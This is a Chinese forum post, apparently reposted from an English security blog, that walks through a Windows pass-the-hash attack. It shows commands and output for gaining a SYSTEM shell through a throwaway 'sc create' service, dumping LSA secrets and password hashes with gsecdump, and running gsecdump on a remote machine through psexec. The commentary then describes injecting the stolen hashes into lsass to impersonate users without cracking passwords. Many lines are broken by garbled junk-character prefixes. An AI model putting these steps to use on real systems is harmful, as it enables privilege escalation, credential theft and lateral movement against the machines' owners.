HASH注入式攻击

admin

o get a DOS Prompt as NT system:
* T" \0 I8 _% {2 |" s7 u
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
9 d' N2 N# `) Y, Y, j[SC] CreateService SUCCESS

& n2 C; ~" Q" l: mC:\>sc start shellcmdline
& u* w8 I0 X" f/ Q% O[SC] StartService FAILED 1053:
3 w( m9 Q. ]5 x! h: V
The service did not respond to the start or control request in a timely fashion.

C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS

------------

Then in the new DOS window:
% h$ f; B' G4 j% [+ j% c
; W4 |7 |, Z5 R, N/ |, ]7 z2 fMicrosoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

. o% u* L& V- rC:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
% p4 W" m4 [# l( X7 X8 `
* L" M" q9 ~! l$ E* qC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]

options:
-h [ --help ] show help
( e: {/ t) P, {8 u1 ~# {+ \-a [ --dump_all ] dump all secrets
* Z3 k- Q& S3 }! Z! g0 Q-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
5 p# p9 u/ L! g- S6 f3 ^4 c3 v-s [ --dump_hashes ] dump hashes from SAM/AD
4 I- `0 R" N8 B7 N2 n' }. f2 k
Although I like to use:
0 q) p: h4 m6 b
- C( `0 k, q/ }# Z" }/ N- YPsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
: e* J' I2 n! d2 x' t* v' M
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

to get the hashes from active logon sessions of a remote system.

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

1 a) {' {5 o/ O提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
' T' M& {7 y* Z! i: U2 D# H- E原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

1 s. e/ m/ t2 n6 O9 Z2 d我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。